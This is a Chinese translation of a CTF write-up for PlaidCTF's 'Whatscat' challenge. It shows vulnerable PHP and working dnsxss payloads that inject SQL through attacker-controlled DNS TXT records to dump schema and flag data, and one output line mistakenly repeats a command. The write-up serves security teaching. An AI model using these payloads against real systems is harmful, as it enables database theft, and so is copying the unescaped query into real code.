原文：https://blog.skullsecurity.org/2014/plaidctf-writeup-for-web-300-whatscat-sql-injection-via-dns
建議先看：http://drops.wooyun.org/papers/3133
Whatscat是一個可以上傳貓咪的照片并且可以評論的php應用，地址：
https://blogdata.skullsecurity.org/whatscat.tar.bz2
漏洞代碼存在于login.php的密碼重置模塊，如下：
#!php
elseif (isset($_POST["reset"])) {
$q = mysql_query(sprintf("select username,email,id from users where username='%s'",
mysql_real_escape_string($_POST["name"])));
$res = mysql_fetch_object($q);
$pwnew = "cat".bin2hex(openssl_random_pseudo_bytes(8));
if ($res) {
echo sprintf("<p>Don't worry %s, we're emailing you a new password at %s</p>",
$res->username,$res->email);
echo sprintf("<p>If you are not %s, we'll tell them something fishy is going on!</p>",
$res->username);
$message = <<<CAT
Hello. Either you or someone pretending to be you attempted to reset your password.
Anyway, we set your new password to $pwnew
If it wasn't you who changed your password, we have logged their IP information as follows:
CAT;
$details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]\r\n");
mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
$pwnew,$details,$res->username));
}
else {
echo "Hmm we don't seem to have anyone signed up by that name";
}
注意如下代碼：
#!php
$details = gethostbyaddr($_SERVER['REMOTE_ADDR']).
print_r(dns_get_record(gethostbyaddr($_SERVER['REMOTE_ADDR'])),true);
mail($res->email,"whatscat password reset",$message.$details,"From: [email protected]\r\n");
mysql_query(sprintf("update users set password='%s', resetinfo='%s' where username='%s'",
$pwnew,$details,$res->username));
$details變量未編碼即插入數據庫中。我注意到過去人們過于相信DNS查詢返回的結果，這是這種誤區的最好事例！如果我們能夠在DNS請求中插入SQL語句，就萬事大吉了！
在完成Whatscat挑戰過程中，我點擊forgot password，輸入用戶名：admin，然后它發送給我的一個Mailinator，一個郵件服務器。我登錄這個郵箱，注意到有些人嘗試通過TXT記錄進行SQL注入，這些可能是其他用戶留下的記錄。
這個TXT記錄實際上是用于便捷地控制所有SkullSpace ip地址的PTR記錄，它能夠做一些有用的事情而不是用來破壞！我用這個服務器做blog和一些在SkullSpace網絡上的東西，然后我通過它設置了test.skullseclabs.org的PTR記錄。實際上，如果你對206.220.196.59進行DNS解析，你會看見如下內容：
#!bash
$ host blog.skullsecurity.org
blog.skullsecurity.org is an alias for skullsecurity.org.
skullsecurity.org has address 206.220.196.59
$ host 206.220.196.59
59.196.220.206.in-addr.arpa domain name pointer test.skullseclabs.org.
我為test.skullseclabs.org控制了授權服務器，所以我可以偽造任意記錄。雖然對于這個級別來說是殺雞用牛刀，但是至少我不用每次為了改變一條記錄而翻到注冊頁面，并且我可以使用我寫的一個叫做dnsxss的工具快速做到： https://github.com/iagox86/nbtool
#!bash
$ sudo ./dnsxss --payload="Hello yes this is test"
Listening for requests on 0.0.0.0:53
Will response to queries with: Hello/yes/this/is/test
$ dig -t txt test123.skullseclabs.org
[...]
;; ANSWER SECTION:
test123.skullseclabs.org. 1 IN TXT "Hello yes this is test.test123.skullseclabs.org"
現在要做的就是找到合適的payload！
我并不是盲注的fans，所以我在本地服務器搭了一個版本，打開SQL錯誤。然后我開始開發一個exploit！這是一條update語句，所以不能直接注入。我只能間接地通過將數據庫內容返回在email上來讀取。我也不知道如何適當地終止SQL語句(既不用#，也不用--，以及;)，最終我的payload將能夠：
UPDATE其他的值到email字段上
恰當地讀到最后，意味著用”resetinfo=”結束查詢，所以”resetinfo=”字段會被余下部分填充。
最終payload如下：
./dnsxss --payload="test', email='test1234', resetinfo='"
我創建了一個賬戶，從我的ip重置密碼，刷新。在測試服務器上完整的語句如下：
update users set password='catf7a252e008616c94', resetinfo='test.skullseclabs.orgArray ( [0] => Array ( [host] => test.skullseclabs.org [class] => IN [ttl] => 1 [type] => TXT [txt] => test', email='test1234', resetinfo='.test.skullseclabs.org [entries] => Array ( [0] => test', email='test1234', resetinfo=' ) ) ) ' where username='ron'
運行之后，重置密碼內容如下：
Don't worry ron, we're emailing you a new password at test1234
If you are not ron, we'll tell them something fishy is going on!
已經成功重置了密碼！
但是我想要的不是這個！
Mysql有一個非常便利的數據庫叫做information_schema，可以通過它導出所有內容，修改payload如下：
./dnsxss --payload="test', email=(select group_concat(SCHEMA_NAME separator ', ') from information_schema.SCHEMATA), resetinfo='"
找回密碼，刷新一下，收到如下郵件：
Don't worry ron, we're emailing you a new password at information_schema, mysql, performance_schema, whatscat
If you are not ron, we'll tell them something fishy is going on!
得到whatscat的所有表名：
./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"
收到郵件：
./dnsxss --payload="test', email=(select group_concat(TABLE_NAME separator ', ') from information_schema.TABLES where TABLE_SCHEMA='whatscat'), resetinfo='"
得到flag表的所有列名：
./dnsxss --payload="test', email=(select group_concat(COLUMN_NAME separator ', ') from information_schema.COLUMNS where TABLE_NAME='flag'), resetinfo='"
收到郵件：
Don't worry ron, we're emailing you a new password at flag
If you are not ron, we'll tell them something fishy is going on!
最后取出列中的內容：
./dnsxss --payload="test', email=(select group_concat(flag separator ', ') from whatscat.flag), resetinfo='"
得到flag：
Don't worry ron, we're emailing you a new password at 20billion_d0llar_1d3a
If you are not ron, we'll tell them something fishy is going on!
這篇paper的重點是通過偽造了PTR的記錄類型，將DNS查詢的TXT記錄定向到自己控制的dns服務器，從而控制了DNS插敘返回的內容，而人們往往是無條件信任DNS查詢返回的內容。